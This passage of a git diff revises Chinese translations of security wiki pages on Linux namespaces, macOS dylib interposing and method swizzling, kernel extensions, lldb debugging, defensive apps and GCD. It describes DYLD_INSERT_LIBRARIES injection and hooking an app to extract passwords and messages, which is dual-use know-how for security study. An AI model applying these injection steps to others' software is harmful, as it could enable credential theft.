在用户命名空间的情况下，**当创建一个新的用户命名空间时，进入该命名空间的进程会被授予该命名空间内的完整能力集**。这些能力允许进程执行特权操作，例如**挂载** **文件系统**、创建设备或更改文件的所有权，但**仅在其用户命名空间的上下文中**。
-例如，当你在用户命名空间内拥有 `CAP_SYS_ADMIN` 能力时，你可以执行通常需要此能力的操作，如挂载文件系统，但仅在你的用户命名空间的上下文中。你使用此能力执行的任何操作都不会影响主机系统或其他命名空间。
+例如，当您在用户命名空间内拥有 `CAP_SYS_ADMIN` 能力时，您可以执行通常需要此能力的操作，如挂载文件系统，但仅在您的用户命名空间的上下文中。您使用此能力执行的任何操作都不会影响主机系统或其他命名空间。
> [!WARNING]
-> 因此，即使在新的用户命名空间内获取一个新进程**会让你恢复所有能力**（CapEff: 000001ffffffffff），你实际上**只能使用与命名空间相关的能力**（例如挂载），而不是每一个。因此，仅凭这一点不足以逃离 Docker 容器。
+> 因此，即使在新的用户命名空间内获取一个新进程**会让您恢复所有能力**（CapEff: 000001ffffffffff），您实际上**只能使用与命名空间相关的能力**（例如挂载），而不是所有能力。因此，仅凭这一点不足以逃离 Docker 容器。
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 9e279ccfc..b32cebd61 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -4,11 +4,11 @@
## 基本信息
-UTS（UNIX时间共享系统）命名空间是一个Linux内核特性，它提供了**两个系统标识符的隔离**：**主机名**和**NIS**（网络信息服务）域名。这种隔离允许每个UTS命名空间拥有**自己的独立主机名和NIS域名**，这在容器化场景中特别有用，因为每个容器应该看起来像是一个具有自己主机名的独立系统。
+UTS（UNIX时间共享系统）命名空间是一个Linux内核特性，它提供了两个系统标识符的**隔离**：**主机名**和**NIS**（网络信息服务）域名。这种隔离允许每个UTS命名空间拥有**自己的独立主机名和NIS域名**，这在容器化场景中特别有用，因为每个容器应该看起来像是一个具有自己主机名的独立系统。
### 工作原理：
-1. 当创建一个新的UTS命名空间时，它会以**从其父命名空间复制的主机名和NIS域名**开始。这意味着在创建时，新的命名空间**共享与其父命名空间相同的标识符**。然而，在命名空间内对主机名或NIS域名的任何后续更改将不会影响其他命名空间。
+1. 当创建一个新的UTS命名空间时，它会从其父命名空间**复制主机名和NIS域名**。这意味着在创建时，新的命名空间**共享与其父命名空间相同的标识符**。然而，在命名空间内对主机名或NIS域名的任何后续更改将不会影响其他命名空间。
2. UTS命名空间内的进程**可以使用`sethostname()`和`setdomainname()`系统调用分别更改主机名和NIS域名**。这些更改是本地的，不会影响其他命名空间或主机系统。
3. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWUTS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时，它将开始使用与该命名空间关联的主机名和NIS域名。
@@ -20,7 +20,7 @@ UTS（UNIX时间共享系统）命名空间是一个Linux内核特性，它提
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
-通过挂载新的 `/proc` 文件系统，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
+通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
@@ -40,7 +40,7 @@ sudo unshare -u [--mount-proc] /bin/bash
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
-- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
+- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新的命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。
通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行，而不会遇到内存分配错误。
@@ -50,7 +50,7 @@ sudo unshare -u [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 2cdcba4a7..bfedf0394 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
创建一个带有 **`__interpose`** 部分（或标记为 **`S_INTERPOSING`** 的部分）的 **dylib**，其中包含指向 **原始** 和 **替代** 函数的 **函数指针** 元组。
-然后，使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib（插入需要在主应用程序加载之前发生）。显然，适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)。
+然后，使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib（插入需要在主应用加载之前发生）。显然，适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)。
### Interpose printf
@@ -81,14 +81,14 @@ Hello from interpose
在 ObjectiveC 中，方法调用的方式是：**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
-需要 **对象**、**方法**和 **参数**。当调用一个方法时，会使用函数 **`objc_msgSend`** 发送 **消息**：`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
+需要 **对象**、**方法**和 **参数**。当调用一个方法时，会使用函数 **`objc_msgSend`** 发送 **msg**：`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
对象是 **`someObject`**，方法是 **`@selector(method1p1:p2:)`**，参数是 **value1**，**value2**。
根据对象结构，可以访问一个 **方法数组**，其中 **名称** 和 **方法代码的指针** 被 **存放**。
> [!CAUTION]
-> 请注意，由于方法和类是基于其名称访问的，因此这些信息存储在二进制文件中，因此可以使用 `otool -ov ` 或 [`class-dump `](https://github.com/nygard/class-dump) 来检索。
+> 请注意，由于方法和类是基于其名称访问的，因此这些信息存储在二进制文件中，因此可以使用 `otool -ov ` 或 [`class-dump `](https://github.com/nygard/class-dump) 检索它。
### 访问原始方法
@@ -208,13 +208,13 @@ return 0;
}
```
> [!WARNING]
-> 在这种情况下，如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**，它可能会**检测**到这种交换并阻止其运行。
+> 在这种情况下，如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**，它可能会**检测到**这种方法交换并阻止其运行。
>
> 以下技术没有这个限制。
### 使用 method_setImplementation 进行方法交换
-之前的格式很奇怪，因为你在相互之间更改两个方法的实现。使用函数**`method_setImplementation`**，你可以**更改**一个**方法的实现为另一个**。
+之前的格式很奇怪，因为你正在将两个方法的实现互相更改。使用函数**`method_setImplementation`**，你可以**更改**一个**方法的实现为另一个**。
只需记住，如果你打算在覆盖之前从新实现中调用原始实现，请**存储原始实现的地址**，因为稍后定位该地址会更加复杂。
```objectivec
@@ -293,7 +293,7 @@ return 0;
在该库中添加钩子代码以提取信息：密码、消息...
> [!CAUTION]
-> 请注意，在较新版本的 macOS 中，如果您 **去除应用程序二进制文件的签名**，并且它之前已被执行，macOS **将不再执行该应用程序**。
+> 请注意，在较新版本的 macOS 中，如果您 **去除应用程序二进制文件的签名** 并且它之前已被执行，macOS **将不再执行该应用程序**。
#### 库示例
```objectivec
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 3dc9b5522..0e4edccbb 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -1,10 +1,10 @@
-# macOS 内核扩展与调试
+# macOS Kernel Extensions & Debugging
{{#include ../../../banners/hacktricks-training.md}}
## 基本信息
-内核扩展（Kexts）是 **以 `.kext`** 扩展名的 **包**，它们 **直接加载到 macOS 内核空间**，为主操作系统提供额外功能。
+内核扩展（Kexts）是 **以 `.kext`** 扩展名的 **包**，它们被 **直接加载到 macOS 内核空间**，为主操作系统提供额外的功能。
### 要求
@@ -26,7 +26,7 @@
1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程
- 它将通过发送 **Mach 服务** 与 **`kextd`** 进行通信。
-2. **`kextd`** 将检查多个事项，例如 **签名**
+2. **`kextd`** 将检查几个事项，例如 **签名**
- 它将与 **`syspolicyd`** 进行通信以 **检查** 扩展是否可以 **加载**。
3. **`syspolicyd`** 将 **提示** **用户** 如果扩展尚未被加载。
- **`syspolicyd`** 将结果报告给 **`kextd`**
@@ -45,9 +45,9 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
## Kernelcache
> [!CAUTION]
-> 尽管内核扩展预计位于 `/System/Library/Extensions/` 中，但如果你去这个文件夹，你 **找不到任何二进制文件**。这是因为 **kernelcache**，为了反向工程一个 `.kext`，你需要找到获取它的方法。
+> 尽管内核扩展预计位于 `/System/Library/Extensions/` 中，但如果你去这个文件夹，你 **不会找到任何二进制文件**。这是因为 **kernelcache**，为了反向工程一个 `.kext`，你需要找到获取它的方法。
-**kernelcache** 是 **XNU 内核的预编译和预链接版本**，以及必要的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储，并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本，促进了 **更快的启动时间**，减少了在启动时动态加载和链接这些组件所需的时间和资源。
+**kernelcache** 是 **XNU 内核的预编译和预链接版本**，以及基本的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储，并在启动过程中解压到内存中。kernelcache 通过提供一个随时可运行的内核和关键驱动程序的版本，促进了 **更快的启动时间**，减少了在启动时动态加载和链接这些组件所需的时间和资源。
### Local Kerlnelcache
@@ -58,7 +58,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
#### IMG4
-IMG4 文件格式是苹果在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件（如 **kernelcache**）的容器格式。IMG4 格式包括一个头部和几个标签，这些标签封装了不同的数据片段，包括实际的有效载荷（如内核或引导加载程序）、签名和一组清单属性。该格式支持加密验证，允许设备在执行固件组件之前确认其真实性和完整性。
+IMG4 文件格式是 Apple 在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件（如 **kernelcache**）的容器格式。IMG4 格式包括一个头部和几个标签，这些标签封装了不同的数据片段，包括实际的有效载荷（如内核或引导加载程序）、签名和一组清单属性。该格式支持加密验证，允许设备在执行固件组件之前确认其真实性和完整性。
它通常由以下组件组成：
@@ -107,9 +107,9 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### 检查 kernelcache
+### Inspecting kernelcache
-检查 kernelcache 是否具有符号。
+检查 kernelcache 是否具有符号
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
@@ -128,7 +128,7 @@ nm -a binaries/com.apple.security.sandbox | wc -l
```
## 调试
-## 参考文献
+## 参考
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 6b910cd4f..d25287d1c 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -122,11 +122,11 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
该函数期望的参数为：
-- 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说，它是正在调用该方法的对象。如果该方法是类方法，则这是类对象的一个实例（作为整体），而对于实例方法，self 将指向类的一个实例化对象。
-- 第二个参数 (**op**) 是 "处理消息的方法的选择器"。同样，更简单地说，这只是 **方法的名称**。
+- 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说，它是方法被调用的对象。如果方法是类方法，这将是类对象的一个实例（作为整体），而对于实例方法，self 将指向类的一个实例化对象。
+- 第二个参数 (**op**) 是 "处理消息的方法选择器"。同样，更简单地说，这只是 **方法的名称**。
- 剩余的参数是方法所需的任何 **值** (op)。
-请参见如何在 ARM64 中 **使用 `lldb` 轻松获取此信息**：
+请参见如何在此页面中 **使用 `lldb` 在 ARM64 中轻松获取此信息**：
{{#ref}}
arm64-basic-assembly.md
@@ -135,13 +135,13 @@ arm64-basic-assembly.md
x64:
| **参数** | **寄存器** | **(对于) objc_msgSend** |
-| ---------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
-| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** |
-| **第二个参数** | **rsi** | **op: 方法的名称** |
-| **第三个参数** | **rdx** | **方法的第一个参数** |
-| **第四个参数** | **rcx** | **方法的第二个参数** |
-| **第五个参数** | **r8** | **方法的第三个参数** |
-| **第六个参数** | **r9** | **方法的第四个参数** |
+| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
+| **第一个参数** | **rdi** | **self: 方法被调用的对象** |
+| **第二个参数** | **rsi** | **op: 方法的名称** |
+| **第三个参数** | **rdx** | **方法的第一个参数** |
+| **第四个参数** | **rcx** | **方法的第二个参数** |
+| **第五个参数** | **r8** | **方法的第三个参数** |
+| **第六个参数** | **r9** | **方法的第四个参数** |
| **第七个及以上参数** | rsp+
(在栈上)
| **方法的第五个及以上参数** |
### 转储 ObjectiveC 元数据
@@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
-[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具，用于生成 ObjetiveC 格式代码中的类、类别和协议的声明。
+[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具，用于生成 ObjetiveC 格式代码中类、类别和协议的声明。
它已经过时且未维护，因此可能无法正常工作。
#### ICDump
-[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比，iCDump 可以独立于 Apple 生态系统运行，并且提供 Python 绑定。
+[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比，iCDump 可以独立于 Apple 生态系统运行，并且它提供了 Python 绑定。
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
-此外，**Swift 二进制文件可能包含符号**（例如，库需要存储符号以便可以调用其函数）。**符号通常以丑陋的方式包含有关函数名称和属性的信息**，因此它们非常有用，并且有“**去混淆器**”可以获取原始名称：
+此外，**Swift 二进制文件可能具有符号**（例如，库需要存储符号以便可以调用其函数）。**符号通常以丑陋的方式包含有关函数名称和属性的信息**，因此它们非常有用，并且有“**去混淆器**”可以获取原始名称：
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -230,13 +230,13 @@ macOS 暴露了一些有趣的 API，提供有关进程的信息：
- `com.apple.sysdiagnose.CacheDelete`：删除 /var/rmp 中的旧档案
- `com.apple.sysdiagnose.kernel.ipc`：特殊端口 23（内核）
-- `com.apple.sysdiagnose.service.xpc`：通过 `Libsysdiagnose` Obj-C 类的用户模式接口。可以传递三个参数的字典（`compress`、`display`、`run`）
+- `com.apple.sysdiagnose.service.xpc`：通过 `Libsysdiagnose` Obj-C 类的用户模式接口。可以在字典中传递三个参数（`compress`、`display`、`run`）
### 统一日志
MacOS 生成大量日志，这在运行应用程序时尝试理解**它在做什么**时非常有用。
-此外，有一些日志将包含标签 `` 以**隐藏**某些**用户**或**计算机**的**可识别**信息。然而，可以**安装证书以披露此信息**。请按照 [**here**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) 的说明进行操作。
+此外，有一些日志将包含标签 `` 以**隐藏**某些**用户**或**计算机**的**可识别**信息。然而，可以**安装证书以披露此信息**。请按照 [**这里**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) 的说明进行操作。
### Hopper
@@ -246,11 +246,11 @@ MacOS 生成大量日志，这在运行应用程序时尝试理解**它在做什
#### 中间面板
-在中间面板中，您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**，通过点击相应的图标：
+在中间面板中，您可以看到**反汇编代码**。您可以以**原始**反汇编、**图形**、**反编译**和**二进制**的形式查看，点击相应的图标：
.png)
.png)
(lldb) 命令 描述 run (r) 开始执行，直到命中断点或进程终止。 process launch --stop-at-entry 在入口点停止执行 continue (c) 继续调试的进程的执行。 nexti (n / ni) 执行下一条指令。此命令将跳过函数调用。 stepi (s / si) 执行下一条指令。与 nexti 命令不同，此命令将进入函数调用。 finish (f) 执行当前函数（“帧”）中的其余指令，返回并停止。 control + c 暂停执行。如果进程已运行 (r) 或继续 (c)，这将导致进程在当前执行的位置停止。 breakpoint (b) b main #任何名为 main 的函数
b <binname>`main #二进制文件的主函数
b set -n main --shlib <lib_name> #指定二进制文件的主函数
breakpoint set -r '\[NSFileManager .*\]$' #任何 NSFileManager 方法
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # 在该库的所有函数中设置断点
b -a 0x0000000100004bd9
br l #断点列表
br e/dis <num> #启用/禁用断点
breakpoint delete <num>
help help breakpoint #获取断点命令的帮助
help memory write #获取写入内存的帮助
reg reg read
reg read $rax
reg read $rax --format <format>
reg write $rip 0x100035cc0
x/s <reg/memory address> 将内存显示为以 null 结尾的字符串。 x/i <reg/memory address> 将内存显示为汇编指令。 x/b <reg/memory address> 将内存显示为字节。 print object (po) 这将打印由参数引用的对象
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
请注意，Apple 的大多数 Objective-C API 或方法返回对象，因此应通过“打印对象”（po）命令显示。如果 po 没有产生有意义的输出，请使用 x/b
memory memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA
memory write -f s $rip+0x11f+7 "AAAA" #在地址中写入 AAAA disassembly dis #反汇编当前函数
dis -n <funcname> #反汇编函数
dis -n <funcname> -b <basename> #反汇编函数
dis -c 6 #反汇编 6 行
dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址
dis -p -c 4 # 从当前地址开始反汇编
parray parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组 image dump sections 打印当前进程内存的映射 image dump symtab <library> image dump symtab CoreNLP #获取 CoreNLP 的所有符号的地址
+(lldb) 命令 描述 run (r) 开始执行，直到命中断点或进程终止。 process launch --stop-at-entry 在入口点停止执行 continue (c) 继续调试的进程的执行。 nexti (n / ni) 执行下一条指令。此命令将跳过函数调用。 stepi (s / si) 执行下一条指令。与 nexti 命令不同，此命令将进入函数调用。 finish (f) 执行当前函数（“帧”）中的其余指令，返回并停止。 control + c 暂停执行。如果进程已运行 (r) 或继续 (c)，这将导致进程在当前执行位置停止。 breakpoint (b) b main #任何名为 main 的函数
b `main #二进制文件的主函数
b set -n main --shlib #指定二进制文件的主函数
breakpoint set -r '\[NSFileManager .*\]$' #任何 NSFileManager 方法
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # 在该库的所有函数中断
b -a 0x0000000100004bd9
br l #断点列表
br e/dis #启用/禁用断点
breakpoint delete
help help breakpoint #获取断点命令的帮助
help memory write #获取写入内存的帮助
reg reg read
reg read $rax
reg read $rax --format <format>
reg write $rip 0x100035cc0
x/s 将内存显示为以 null 结尾的字符串。 x/i 将内存显示为汇编指令。 x/b 将内存显示为字节。 print object (po) 这将打印由参数引用的对象
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
请注意，Apple 的大多数 Objective-C API 或方法返回对象，因此应通过“打印对象”（po）命令显示。如果 po 没有产生有意义的输出，请使用 x/b
memory memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA
memory write -f s $rip+0x11f+7 "AAAA" #在地址中写入 AAAA disassembly dis #反汇编当前函数
dis -n #反汇编函数
dis -n -b #反汇编函数
dis -c 6 #反汇编 6 行
dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址
dis -p -c 4 # 从当前地址开始反汇编
parray parray 3 (char **)$x1 # 检查 x1 寄存器中 3 个组件的数组 image dump sections 打印当前进程内存的映射 image dump symtab image dump symtab CoreNLP #获取 CoreNLP 的所有符号的地址
> [!NOTE]
> 调用 **`objc_sendMsg`** 函数时，**rsi** 寄存器保存方法的 **名称**，以 null 结尾的（“C”）字符串。要通过 lldb 打印名称，请执行：
@@ -472,7 +472,7 @@ settings set target.x86-disassembly-flavor intel
- 如果进程不是 suid/sgid 或 `kern.sugid_coredump` 为 1（默认值为 0）
- `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制核心转储的创建，并通过 `ulimit -c unlimited` 重新启用它们。
-在这些情况下，核心转储根据 `kern.corefile` sysctl 生成，通常存储在 `/cores/core/.%P` 中。
+在这些情况下，核心转储根据 `kern.corefile` sysctl 生成，并通常存储在 `/cores/core/.%P` 中。
## 模糊测试
@@ -521,14 +521,14 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
### Enumerating Network Processes
-这很有趣，可以找到管理网络数据的进程：
+这对于查找管理网络数据的进程很有趣：
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
sort -u recv.log > procs.txt
cat procs.txt
```
-或者使用 `netstat` 或 `lsof`
+或使用 `netstat` 或 `lsof`
### Libgmalloc
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index b95e96165..2d65988d4 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -1,19 +1,19 @@
-# macOS 防御应用
+# macOS Defensive Apps
{{#include ../../banners/hacktricks-training.md}}
-## 防火墙
+## Firewalls
-- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 它将监控每个进程所建立的每个连接。根据模式（静默允许连接、静默拒绝连接和警报），每当建立新连接时，它将**向您显示警报**。它还有一个非常好的图形用户界面来查看所有这些信息。
+- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 它将监控每个进程所建立的每个连接。根据模式（静默允许连接、静默拒绝连接并警报），它将**在每次建立新连接时向您显示警报**。它还有一个非常好的图形用户界面来查看所有这些信息。
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See 防火墙。这是一个基本的防火墙，会对可疑连接发出警报（它有一个图形用户界面，但没有 Little Snitch 的那么花哨）。
-## 持久性检测
+## Persistence detection
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See 应用程序，将在多个位置搜索**恶意软件可能存在的地方**（这是一个一次性工具，而不是监控服务）。
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): 像 KnockKnock 一样，通过监控生成持久性的进程。
-## 键盘记录器检测
+## Keyloggers detection
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See 应用程序，用于查找安装键盘“事件捕获”的**键盘记录器**
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See 应用程序，用于查找安装键盘“事件捕获”的**键盘记录器**。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 5a836a230..a3db7e8a3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -6,7 +6,7 @@
**Grand Central Dispatch (GCD)**，也称为 **libdispatch** (`libdispatch.dyld`)，在 macOS 和 iOS 中均可用。它是苹果公司开发的一项技术，旨在优化应用程序对多核硬件上并发（多线程）执行的支持。
-**GCD** 提供并管理 **FIFO 队列**，您的应用程序可以将任务以 **块对象** 的形式 **提交** 到这些队列中。提交到调度队列的块会在系统完全管理的线程池上 **执行**。GCD 自动创建线程以执行调度队列中的任务，并安排这些任务在可用核心上运行。
+**GCD** 提供并管理 **FIFO 队列**，您的应用程序可以将任务以 **块对象** 的形式 **提交**。提交到调度队列的块将在系统完全管理的线程池上 **执行**。GCD 自动创建线程以执行调度队列中的任务，并安排这些任务在可用核心上运行。
> [!TIP]
> 总之，为了 **并行** 执行代码，进程可以将 **代码块发送到 GCD**，GCD 将负责它们的执行。因此，进程不会创建新线程；**GCD 使用其自己的线程池执行给定的代码**（线程池可能根据需要增加或减少）。
@@ -18,7 +18,7 @@
块是一个 **自包含的代码段**（像一个带参数返回值的函数），也可以指定绑定变量。\
然而，在编译器级别，块并不存在，它们是 `os_object`。每个这些对象由两个结构组成：
-- **块字面量**：
+- **块字面量**：
- 它以 **`isa`** 字段开始，指向块的类：
- `NSConcreteGlobalBlock`（来自 `__DATA.__const` 的块）
- `NSConcreteMallocBlock`（堆中的块）
@@ -27,7 +27,7 @@
- 调用的函数指针
- 指向块描述符的指针
- 导入的块变量（如果有）
-- **块描述符**：它的大小取决于存在的数据（如前面标志所示）
+- **块描述符**：其大小取决于存在的数据（如前面标志所示）
- 它有一些保留字节
- 它的大小
- 通常会有一个指向 Objective-C 风格签名的指针，以了解参数需要多少空间（标志 `BLOCK_HAS_SIGNATURE`）
@@ -37,7 +37,7 @@
调度队列是一个命名对象，提供块的 FIFO 执行顺序。
-块被设置在队列中以供执行，这些队列支持两种模式：`DISPATCH_QUEUE_SERIAL` 和 `DISPATCH_QUEUE_CONCURRENT`。当然，**串行**队列 **不会有竞争条件** 问题，因为块不会在前一个块完成之前执行。但 **另一种类型的队列可能会有**。
+块被设置在队列中以供执行，这些队列支持 2 种模式：`DISPATCH_QUEUE_SERIAL` 和 `DISPATCH_QUEUE_CONCURRENT`。当然，**串行**队列 **不会有竞争条件** 问题，因为块不会在前一个块完成之前执行。但 **另一种类型的队列可能会有**。
默认队列：
@@ -57,7 +57,7 @@
- `.root.user-interactive-qos`: 最高优先级
- `.root.background-qos.overcommit`
-请注意，系统将决定 **每次哪个线程处理哪个队列**（多个线程可能在同一队列中工作，或者同一线程可能在某些时候在不同队列中工作）
+请注意，系统将决定 **每个时刻哪个线程处理哪个队列**（多个线程可能在同一队列中工作，或者同一线程可能在某些时刻在不同队列中工作）
#### 属性
@@ -65,7 +65,7 @@
### 调度对象
-libdispatch 使用多个对象，队列和块只是其中两个。可以使用 `dispatch_object_create` 创建这些对象：
+libdispatch 使用多个对象，队列和块只是其中的 2 个。可以使用 `dispatch_object_create` 创建这些对象：
- `block`
- `data`: 数据块
@@ -73,17 +73,17 @@ libdispatch 使用多个对象，队列和块只是其中两个。可以使用 `
- `io`: 异步 I/O 请求
- `mach`: Mach 端口
- `mach_msg`: Mach 消息
-- `pthread_root_queue`: 一个具有 pthread 线程池而不是工作队列的队列
+- `pthread_root_queue`: 带有 pthread 线程池的队列，而不是工作队列
- `queue`
- `semaphore`
- `source`: 事件源
## Objective-C
-在 Objective-C 中，有不同的函数可以将块发送到并行执行：
+在 Objective-C 中，有不同的函数可以将块发送以并行执行：
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): 提交一个块以在调度队列上异步执行，并立即返回。
-- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 提交一个块对象以执行，并在该块完成执行后返回。
+- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 提交一个块对象以执行，并在该块执行完成后返回。
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): 在应用程序的生命周期内仅执行一次块对象。
